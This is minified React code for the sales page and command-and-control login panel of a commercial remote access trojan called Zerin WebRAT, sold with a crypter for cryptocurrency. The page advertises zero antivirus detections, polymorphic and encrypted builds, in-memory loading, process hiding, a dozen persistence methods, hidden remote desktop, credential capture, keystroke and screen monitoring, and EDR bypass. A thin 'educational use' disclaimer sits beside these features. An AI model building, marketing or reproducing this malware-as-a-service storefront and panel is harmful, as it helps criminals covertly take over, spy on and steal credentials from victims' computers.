overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:kA.map((u,d)=>s.jsx(NA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:jA.map((u,d)=>s.jsx(SA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(vs,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(vs,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(vs,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(vs,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(vs,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(it,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Jj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const Ag="zerin.pro",e5="zerpanel-67ontoplol.top";function sx(){return window.location.hostname===Ag||window.location.hostname===`www.${Ag}`}function CA(){const e=Jn(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await mE({username:t,password:r}),sx()){const f=Ze();if(f){window.location.href=`https://${e5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof ei?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(Jj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(it,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function PA(){const e=Jn(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await hE({username:t,password:r,license_key:l}),sx()){const g=Ze();if(g){window.location.href=`https://${e5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof ei)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(Jj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(it,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function _c(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function um(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function EA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function fo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function po(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Ts(e){return e.slice(0,8)}function t5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function AA(e){return`data:image/bmp;base64,${e}`}function _A(e){return e.startsWith("Qk")}const jn="w-3.5 h-3.5 flex-shrink-0",Ht={eye:s.jsxs("svg",{className:jn,fill:"none",viewBox:"0 0 24 